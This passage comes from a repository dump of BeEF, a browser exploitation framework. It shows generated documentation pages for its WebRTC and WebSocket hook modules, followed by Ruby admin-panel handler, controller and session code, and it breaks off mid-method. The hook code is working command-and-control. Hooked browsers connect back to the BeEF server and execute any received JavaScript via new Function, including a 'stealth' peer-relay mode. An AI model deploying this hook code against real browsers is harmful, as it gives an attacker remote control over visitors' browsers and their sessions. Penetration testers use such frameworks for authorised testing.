command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');\n      beefrtcs[rtcstealth].sendPeerMsg(\"Command result - \" + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));\n\n    // Command to perform arbitrary JS (while NOT stealthed)\n    } else if ((rtcstealth == false) &amp;&amp; (ev2.data.charAt(0) == \"%\")) {\n      beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));\n      beefrtcs[peerid].sendPeerMsg(\"Command result - \" + beefrtcs[peerid].execCmd(ev2.data.substring(1)));\n\n    // B64d command from the /cmdexec API\n    } else if (ev2.data.charAt(0) == \"@\") {\n      beef.debug('message was a b64d command');\n\n      var fn = new Function(atob(ev2.data.substring(1)));\n      fn();\n      if (rtcstealth != false) { // force stealth back on ?\n        beef.updater.execute_commands(); // FORCE execution while stealthed\n        beef.updater.lock = true;\n      }\n\n\n    // Just a plain text message .. (while stealthed)\n    } else if (rtcstealth != false) {\n      beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');\n      beefrtcs[rtcstealth].sendPeerMsg(ev2.data);\n\n    // Just a plan text message (while NOT stealthed)\n    } else {\n      beef.debug('received a message from peer['+peerid+'] - sending it back to beef');\n      beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});\n    }\n  } \n}\n\n/**\n * How the browser executes received JS (this is pretty hacky)\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.execCmd = function(input) {\n  var fn = new Function(input);\n  var res = fn();\n  return res.toString();\n}\n\n/**\n * Shortcut function to SEND a data messsage\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.sendPeerMsg = function(msg) {\n  beef.debug('sendPeerMsg to ' + this.peerid);\n  this.dataChannel.send(msg);\n}\n\n/**\n * Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.maybeStart = function() {\n  beef.debug(\"maybe starting ... \");\n\n  if (!this.started &amp;&amp; this.signalingReady &amp;&amp; this.turnDone) {\n    beef.debug('Creating PeerConnection.');\n    this.createPeerConnection();\n\n    this.started = true;\n\n    if (this.initiator) {\n      beef.debug(\"Making the call now .. bzz bzz\");\n      this.doCall();\n    } else {\n      beef.debug(\"Receiving a call now .. somebuddy answer da fone?\");\n      this.calleeStart();\n    }\n\n  } else {\n    beef.debug(\"Not ready to start just yet..\");\n  }\n}\n\n/** \n * RTC - create an offer - the caller runs this, while the receiver runs calleeStart()\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.doCall = function() {\n  var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);\n  var self = this;\n  globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);\n  beef.debug('Sending offer to peer, with constraints: \\n' +\n             '  \\'' + JSON.stringify(constraints) + '\\'.');\n}\n\n/**\n * Helper method to merge SDP constraints\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {\n  var merged = cons1;\n  for (var name in cons2.mandatory) {\n    merged.mandatory[name] = cons2.mandatory[name];\n  }\n  merged.optional.concat(cons2.optional);\n  return merged;\n}\n\n/**\n * Sets the local RTC session description, sends this information back (via signalling)\n * The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)\n * The receiver uses this information too - and vice-versa - hence the signaling\n * \n */\nBeefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {\n  var peerid = null;\n\n  for (var k in beefrtcs) {\n    if (beefrtcs[k].allgood === false) {\n      peerid = beefrtcs[k].peerid;\n    }\n  }\n  beef.debug(\"For peer: \" + peerid + \" Running setLocalAndSendMessage...\");\n\n  globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);\n  beefrtcs[peerid].sendSignalMsg(sessionDescription);\n\n  function onSetSessionDescriptionSuccess() {\n    beef.debug('Set session description success.');\n  }\n\n  function onSetSessionDescriptionError() {\n    beef.debug('Failed to set session description');\n  }\n}\n\n/**\n * If the browser can't build an SDP\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {\n  beef.debug('Failed to create session description: ' + error.toString());\n}\n\n/**\n * If the browser successfully sets a remote description\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {\n  beef.debug('Set remote session description successfully');\n}\n\n/**\n * Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.calleeStart = function() {\n  // Callee starts to process cached offer and other messages.\n  while (this.msgQueue.length > 0) {\n    this.processSignalingMessage(this.msgQueue.shift());\n  }\n}\n\n/** \n * Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.processSignalingMessage = function(message) {\n  if (!this.started) {\n    beef.debug('peerConnection has not been created yet!');\n    return;\n  }\n\n  if (message.type === 'offer') {\n    beef.debug(\"Processing signalling message: OFFER\");\n    if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new\n                                     // version of FF - which no longer works\n        beef.debug(\"Moz shim here\");\n        globalrtc[this.peerid].setRemoteDescription(\n            new RTCSessionDescription(message),\n            function() {\n              // globalrtc[this.peerid].createAnswer(function(answer) {\n              //   globalrtc[this.peerid].setLocalDescription(\n\n              var peerid = null;\n\n              for (var k in beefrtcs) {\n                if (beefrtcs[k].allgood === false) {\n                  peerid = beefrtcs[k].peerid;\n                }\n              }\n\n              globalrtc[peerid].createAnswer(function(answer) {\n                globalrtc[peerid].setLocalDescription(\n                    new RTCSessionDescription(answer),\n                    function() {\n                      beefrtcs[peerid].sendSignalMsg(answer);\n                    },function(error) {\n                      beef.debug(\"setLocalDescription error: \" + error);\n                    });\n              },function(error) {\n                beef.debug(\"createAnswer error: \" +error);\n              });\n            },function(error) {\n              beef.debug(\"setRemoteDescription error: \" + error);\n            });\n                          \n    } else {\n      this.setRemote(message);\n      this.doAnswer();\n    }\n  } else if (message.type === 'answer') {\n    beef.debug(\"Processing signalling message: ANSWER\");\n    if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer\n        beef.debug(\"Moz shim here\");\n        globalrtc[this.peerid].setRemoteDescription(\n          new RTCSessionDescription(message),\n          function() {},\n          function(error) {\n            beef.debug(\"setRemoteDescription error: \" + error);\n          });\n    } else {\n      this.setRemote(message);\n    }\n  } else if (message.type === 'candidate') {\n    beef.debug(\"Processing signalling message: CANDIDATE\");\n    var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,\n                                         candidate: message.candidate});\n    this.noteIceCandidate(\"Remote\", this.iceCandidateType(message.candidate));\n    globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);\n  } else if (message.type === 'bye') {\n    this.onRemoteHangup();\n  }\n}\n\n/**\n * Used to set the RTC remote session\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.setRemote = function(message) {\n    globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),\n       this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);\n}\n\n/** \n * As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.doAnswer = function() {\n  beef.debug('Sending answer to peer.');\n  globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);\n}\n\n/** \n * Helper method to determine what kind of ICE Candidate we've received\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.iceCandidateType = function(candidateSDP) {\n  if (candidateSDP.indexOf(\"typ relay \") >= 0)\n    return \"TURN\";\n  if (candidateSDP.indexOf(\"typ srflx \") >= 0)\n    return \"STUN\";\n  if (candidateSDP.indexOf(\"typ host \") >= 0)\n    return \"HOST\";\n  return \"UNKNOWN\";\n}\n\n/**\n * Event handler for successful addition of ICE Candidates\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onAddIceCandidateSuccess = function() {\n  beef.debug('AddIceCandidate success.');\n}\n\n/**\n * Event handler for unsuccessful addition of ICE Candidates\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onAddIceCandidateError = function(error) {\n  beef.debug('Failed to add Ice Candidate: ' + error.toString());\n}\n\n/** \n * If a peer hangs up (we bring down the peerconncetion via the stop() method)\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onRemoteHangup = function() {\n  beef.debug('Session terminated.');\n  this.initiator = 0;\n  // transitionToWaiting();\n  this.stop();\n}\n\n/** \n * Bring down the peer connection\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.stop = function() {\n  this.started = false; // we're no longer started\n  this.signalingReady = false; // signalling isn't ready\n  globalrtc[this.peerid].close(); // close the RTCPeerConnection option\n  globalrtc[this.peerid] = null; // Remove it\n  this.msgQueue.length = 0; // clear the msgqueue\n  rtcstealth = false; // no longer stealth\n  this.allgood = false; // allgood .. NAH UH\n}\n\n/**\n * The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status\n * These are the methods which are executed via the custom extension of the hook.js\n * @memberof beef.webrtc\n */\nbeef.webrtc = {\n  // Start the RTCPeerConnection process\n  start: function(initiator,peer,turnjson,stunservers,verbose) {\n    if (peer in beefrtcs) {\n      // If the RTC peer is not in a good state, try kickng it off again\n      // This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/\n      if (beefrtcs[peer].allgood == false) {\n        beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);\n        beefrtcs[peer].initialize();\n      }\n    } else {\n      // Standard behaviour for new peer connections\n      beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);\n      beefrtcs[peer].initialize();\n    }\n  },\n\n  // Check the status of all my peers .. \n  status: function(me) {\n    if (Object.keys(beefrtcs).length > 0) {\n      for (var k in beefrtcs) {\n        if (beefrtcs.hasOwnProperty(k)) {\n          beef.net.send('/rtcmessage',0,{peerid: k, message: \"Status checking - allgood: \" + beefrtcs[k].allgood});\n        }\n      }\n    } else {\n      beef.net.send('/rtcmessage',0,{peerid: me, message: \"No peers?\"});\n    }\n  }\n}\nbeef.regCmp('beef.webrtc');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/websocket.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: websocket.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: websocket.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\n/**\n * Manage the WebSocket communication channel.\n * This channel is much faster and responsive, and it's used automatically\n * if the browser supports WebSockets AND beef.http.websocket.enable = true.\n * @namespace beef.websocket\n */\n\nbeef.websocket = {\n\n    socket:null,\n    ws_poll_timeout: \"&lt;%= @ws_poll_timeout %>\",\n    ws_connect_timeout: \"&lt;%= @ws_connect_timeout %>\",\n\n    /**\n     * Initialize the WebSocket client object.\n     * Note: use WebSocketSecure only if the hooked origin is under https.\n     * Mixed-content in WS is quite different from a non-WS context.\n     */\n    init:function () {\n        var webSocketServer = beef.net.host;\n        var webSocketPort = \"&lt;%= @websocket_port %>\";\n        var webSocketSecure = \"&lt;%= @websocket_secure %>\";\n        var protocol = \"ws://\";\n\n        if(webSocketSecure &amp;&amp; window.location.protocol==\"https:\"){\n            protocol = \"wss://\";\n            webSocketPort= \"&lt;%= @websocket_sec_port %>\";\n        }\n\n        if (beef.browser.isFF() &amp;&amp; !!window.MozWebSocket) {\n            beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + \":\" + webSocketPort + \"/\");\n        }else{\n            beef.websocket.socket = new WebSocket(protocol + webSocketServer + \":\" + webSocketPort + \"/\");\n        }\n\n    },\n\n    /**\n     * Send Hello message to the BeEF server and start async polling.\n     */\n    start:function () {\n        new beef.websocket.init();\n        this.socket.onopen = function () {\n            beef.websocket.send('{\"cookie\":\"' + beef.session.get_hook_session_id() + '\"}');\n            beef.websocket.alive();\n        };\n\n        this.socket.onmessage = function (message) {\n            // Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type.\n            // That's why it needs to be evaluated first. Using Function is a bit better than pure eval().\n            // It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted.\n            new Function(message.data)();\n        };\n\n        this.socket.onclose = function () {\n            setTimeout(function(){beef.websocket.start()}, 5000);\n        };\n    },\n\n    /**\n     * Send data back to BeEF. This is basically the same as beef.net.send,\n     * but doesn't queue commands.\n     * Example usage:\n     * beef.websocket.send('{\"handler\" : \"' + handler + '\", \"cid\" :\"' + cid +\n     * '\", \"result\":\"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +\n     * '\",\"callback\": \"' + callback + '\",\"bh\":\"' + beef.session.get_hook_session_id() + '\" }');\n     */\n    send:function (data) {\n        try {\n            this.socket.send(data);\n        }catch(err){}\n    },\n\n    /**\n     * Polling mechanism, to notify the BeEF server that the browser is still hooked,\n     * and the WebSocket channel still alive.\n     * todo: there is probably a more efficient way to do this. Double-check WebSocket API.\n     */\n    alive: function (){\n        try {\n            if (beef.logger.running) {\n                beef.logger.queue();\n            }\n        } catch(err){}\n\n        beef.net.flush();\n\n        beef.websocket.send('{\"alive\":\"'+beef.session.get_hook_session_id()+'\"}');\n        setTimeout(\"beef.websocket.alive()\", parseInt(beef.websocket.ws_poll_timeout));\n    }\n};\n\nbeef.regCmp('beef.websocket');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "extensions/admin_ui/api/handler.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module AdminUI\n      module API\n        #\n        # We use this module to register all the http handler for the Administrator UI\n        #\n        module Handler\n          require 'uglifier'\n\n          BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler')\n\n          def self.evaluate_and_minify(content, params)\n            begin\n              erubis = Erubis::FastEruby.new(content)\n              evaluated = erubis.evaluate(params)\n            rescue => e\n              print_error(\"[Admin UI] Evaluating with Eruby failed: #{e.message}\")\n              return\n            end\n\n            print_debug \"[AdminUI] Minifying JavaScript (#{evaluated.size} bytes)\"\n\n            opts = {\n              output: {\n                comments: :none\n              },\n              compress: {\n                dead_code: true\n              },\n              harmony: true\n            }\n\n            begin\n              minified = Uglifier.compile(evaluated, opts)\n            rescue StandardError => e\n              print_warning \"[AdminUI] Error: Could not minify '#{name}' JavaScript file: #{e.message}\"\n              print_more \"[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !\"\n              return evaluated\n            end\n\n            print_debug \"[AdminUI] Minified #{evaluated.size} bytes to #{minified.size} bytes\"\n\n            return minified\n          end\n\n          def self.write_minified_js(name, content)\n            temp_file = File.new(\"#{File.dirname(__FILE__)}/../media/javascript-min/#{File.basename(name)}\", 'w+')\n            File.write(temp_file, content)\n          end\n\n          def self.build_javascript_ui\n            # NOTE: order counts! make sure you know what you're doing if you add files\n            esapi = %w[\n              esapi/Class.create.js\n              esapi/jquery-3.3.1.min.js\n              esapi/jquery-encoder-0.1.0.js\n            ]\n\n            ux = %w[\n              ui/common/beef_common.js\n              ux/PagingStore.js\n              ux/StatusBar.js\n              ux/TabCloseMenu.js\n            ]\n\n            panel = %w[\n              ui/panel/common.js\n              ui/panel/PanelStatusBar.js\n              ui/panel/tabs/ZombieTabDetails.js\n              ui/panel/tabs/ZombieTabLogs.js\n              ui/panel/tabs/ZombieTabCommands.js\n              ui/panel/tabs/ZombieTabRider.js\n              ui/panel/tabs/ZombieTabXssRays.js\n              ui/panel/PanelViewer.js\n              ui/panel/LogsDataGrid.js\n              ui/panel/BrowserDetailsDataGrid.js\n              ui/panel/ZombieDataGrid.js\n              ui/panel/MainPanel.js\n              ui/panel/ZombieTab.js\n              ui/panel/ZombieTabs.js\n              ui/panel/zombiesTreeList.js\n              ui/panel/ZombiesMgr.js\n              ui/panel/tabs/ZombieTabNetwork.js\n              ui/panel/tabs/ZombieTabRTC.js\n              ui/panel/Logout.js\n              ui/panel/WelcomeTab.js\n              ui/panel/AutoRunTab.js\n              ui/panel/AutoRunRuleForm.js\n              ui/panel/AutoRunModuleForm.js\n              ui/panel/ModuleSearching.js\n            ]\n\n            global_js = esapi + ux + panel\n\n            admin_ui_js = ''\n            global_js.each do |file_name|\n              admin_ui_js << (\"#{File.binread(\"#{File.dirname(__FILE__)}/../media/javascript/#{file_name}\")}\\n\\n\")\n            end\n\n            config = BeEF::Core::Configuration.instance\n            bp = config.get 'beef.extension.admin_ui.base_path'\n\n            # if more dynamic variables are needed in JavaScript files\n            # add them here in the following Hash\n            params = {\n              'base_path' => bp\n            }\n\n            # process all JavaScript files, evaluating them with Erubis\n            print_debug '[AdminUI] Initializing admin panel ...'\n\n            web_ui_all = evaluate_and_minify(admin_ui_js, params)\n            unless web_ui_all\n              raise StandardError, \"[AdminUI] evaluate_and_minify JavaScript failed: web_ui_all JavaScript is empty\"\n            end\n            write_minified_js('web_ui_all.js', web_ui_all)\n\n            auth_js_file = \"#{File.binread(\"#{File.dirname(__FILE__)}/../media/javascript/ui/authentication.js\")}\\n\\n\"\n            web_ui_auth = evaluate_and_minify(auth_js_file, params)\n            unless web_ui_auth\n              raise StandardError, \"[AdminUI] evaluate_and_minify JavaScript failed: web_ui_auth JavaScript is empty\"\n            end\n            write_minified_js('web_ui_auth.js', web_ui_auth)\n          rescue => e\n            raise StandardError, \"Building Admin UI JavaScript failed: #{e.message}\"\n          end\n\n          #\n          # This function gets called automatically by the server.\n          #\n          def self.mount_handler(beef_server)\n            config = BeEF::Core::Configuration.instance\n\n            # Web UI base path, like http://beef_domain/<bp>/panel\n            bp = config.get 'beef.extension.admin_ui.base_path'\n\n            # registers the http controllers used by BeEF core (authentication, logs, modules and panel)\n            Dir[\"#{$root_dir}/extensions/admin_ui/controllers/**/*.rb\"].sort.each do |http_module|\n              require http_module\n              mod_name = File.basename http_module, '.rb'\n              beef_server.mount(\"#{bp}/#{mod_name}\", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))\n            end\n\n            # mount the media folder where we store static files (javascript, css, images, audio) for the admin ui\n            media_dir = \"#{File.dirname(__FILE__)}/../media/\"\n            beef_server.mount(\"#{bp}/media\", Rack::Files.new(media_dir))\n\n            # If we're not imitating a web server, mount the favicon to /favicon.ico\n            # NOTE: this appears to be broken\n            unless config.get('beef.http.web_server_imitation.enable')\n              BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(\n                \"/extensions/admin_ui/media/images/#{config.get('beef.extension.admin_ui.favicon_file_name')}\",\n                '/favicon.ico',\n                'ico'\n              )\n            end\n\n            build_javascript_ui\n          rescue => e\n            print_error(\"[Admin UI] Could not mount URL route handlers: #{e.message}\")\n            print_more(e.backtrace)\n            exit(1)\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/admin_ui/classes/httpcontroller.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module AdminUI\n      #\n      # Handle HTTP requests and call the relevant functions in the derived classes\n      #\n      class HttpController\n        attr_accessor :headers, :status, :body, :paths, :currentuser, :params\n\n        C = BeEF::Core::Models::Command\n        CM = BeEF::Core::Models::CommandModule\n        Z = BeEF::Core::Models::HookedBrowser\n\n        #\n        # Class constructor. Takes data from the child class and populates itself with it.\n        #\n        def initialize(data = {})\n          @erubis = nil\n          @status = 200 if data['status'].nil?\n          @session = BeEF::Extension::AdminUI::Session.instance\n\n          @config = BeEF::Core::Configuration.instance\n          @bp = @config.get 'beef.extension.admin_ui.base_path'\n\n          @headers = { 'Content-Type' => 'text/html; charset=UTF-8' } if data['headers'].nil?\n\n          @paths = if data['paths'].nil? && methods.include?('index')\n                     { 'index' => '/' }\n                   else\n                     data['paths']\n                   end\n        end\n\n        #\n        # Authentication check. Confirm the request to access the UI comes from a permitted IP address\n        #\n        def authenticate_request(ip)\n          auth = BeEF::Extension::AdminUI::Controllers::Authentication.new\n          auth.permitted_source?(ip)\n        rescue StandardError => e\n          print_error \"authenticate_request failed: #{e.message}\"\n          false\n        end\n\n        #\n        # Check if reverse proxy has been enabled and return the correct client IP address\n        #\n        def get_ip(request)\n          if @config.get('beef.http.allow_reverse_proxy')\n            request.ip # Get client x-forwarded-for ip address\n          else\n            request.get_header('REMOTE_ADDR') # Get client remote ip address\n          end\n        end\n\n        #\n        # Handle HTTP requests and call the relevant functions in the derived classes\n        #\n        def run(request, response)\n          @request = request\n          @params = request.params\n\n          @body = ''\n\n          # If access to the UI is not permitted for the request IP address return a 404\n          unless authenticate_request(get_ip(@request))\n            @status = 404\n            return\n          end\n\n          # test if session is unauth'd and whether the auth functionality is requested\n          if !@session.valid_session?(@request) && !instance_of?(BeEF::Extension::AdminUI::Controllers::Authentication)\n            @status = 302\n            @headers = { 'Location' => \"#{@bp}/authentication\" }\n            return\n          end\n\n          # get the mapped function (if it exists) from the derived class\n          path = request.path_info\n          unless BeEF::Filters.is_valid_path_info?(path)\n            print_error \"[Admin UI] Path is not valid: #{path}\"\n            return\n          end\n\n          function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'\n          if function.nil?\n            print_error \"[Admin UI] Path does not exist: #{path}\"\n            return\n          end\n\n          # call the relevant mapped function\n          function.call\n\n          # build the template filename and apply it - if the file exists\n          function_name = function.name # used for filename\n          class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name\n          template_ui = \"#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html\"\n          if File.exist?(template_ui)\n            @eruby = Erubis::FastEruby.new(File.read(template_ui))\n            @body = @eruby.result(binding) unless @eruby.nil? # apply template and set the response\n          end\n\n          # set appropriate content-type 'application/json' for .json files\n          @headers['Content-Type'] = 'application/json; charset=UTF-8' if request.path.to_s.end_with?('.json')\n\n          # set content type\n          if @headers['Content-Type'].nil?\n            @headers['Content-Type'] = 'text/html; charset=UTF-8' # default content and charset type for all pages\n          end\n        rescue StandardError => e\n          print_error \"Error handling HTTP request: #{e.message}\"\n          print_error e.backtrace\n        end\n\n        # Constructs a html script tag (from media/javascript directory)\n        def script_tag(filename)\n          \"<script src=\\\"#{@bp}/media/javascript/#{filename}\\\" type=\\\"text/javascript\\\"></script>\"\n        end\n\n        # Constructs a html script tag (from media/javascript-min directory)\n        def script_tag_min(filename)\n          \"<script src=\\\"#{@bp}/media/javascript-min/#{filename}\\\" type=\\\"text/javascript\\\"></script>\"\n        end\n\n        # Constructs a html stylesheet tag\n        def stylesheet_tag(filename)\n          \"<link rel=\\\"stylesheet\\\" href=\\\"#{@bp}/media/css/#{filename}\\\" type=\\\"text/css\\\" />\"\n        end\n\n        # Constructs a hidden html nonce tag\n        def nonce_tag\n          \"<input type=\\\"hidden\\\" name=\\\"nonce\\\" id=\\\"nonce\\\" value=\\\"#{@session.get_nonce}\\\"/>\"\n        end\n\n        def base_path\n          @bp.to_s\n        end\n\n        private\n\n        @eruby\n\n        # Unescapes a URL-encoded string.\n        def unescape(s)\n          s.tr('+', ' ').gsub(/%([\\da-f]{2})/in) { [Regexp.last_match(1)].pack('H*') }\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/admin_ui/classes/session.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module AdminUI\n      #\n      # The session for BeEF UI.\n      #\n      class Session\n        include Singleton\n\n        attr_reader :ip, :id, :nonce, :auth_timestamp\n\n        def initialize\n          set_logged_out\n          @auth_timestamp = Time.new\n        end\n\n        #\n        # set the session logged in\n        #\n        def set_logged_in(ip)\n          @id = BeEF::Core::Crypto.secure_token\n          @nonce = BeEF::Core::Crypto.secure_token\n          @ip = ip\n        end\n\n        #\n        # set the session logged out\n        #\n        def set_logged_out\n          @id = nil\n          @nonce = nil\n          @ip = nil\n        end\n\n        #\n        # set the auth_timestamp\n        #\n        def set_auth_timestamp(time)\n          @auth_timestamp = time\n        end\n\n        #\n        # return the session id\n        #\n        def get_id\n          @id\n        end\n\n        #\n        # return the nonce\n        #\n        def get_nonce\n          @nonce\n        end\n\n        #\n        # return the auth_timestamp\n        #\n        def get_auth_timestamp\n          @auth_timestamp\n        end\n\n        #\n        # Check if nonce valid\n        #\n        def valid_nonce?(request)\n          # check if a valid session\n          return false unless valid_session?(request)\n          return false if @nonce.nil?\n          return false unless request.post?\n\n          # get nonce from request\n          request_nonce = request['nonce']\n          return false if request_nonce.nil?\n\n          # verify nonce\n          request_nonce.eql? @nonce\n        end\n\n        #\n        # Check if a session valid\n        #\n        def valid_session?(request)\n          # check if a valid session exists\n          return false if @id.nil?\n          return false if @ip.nil?\n\n          # check ip address matches\n          return false unless @ip.to_s.eql? 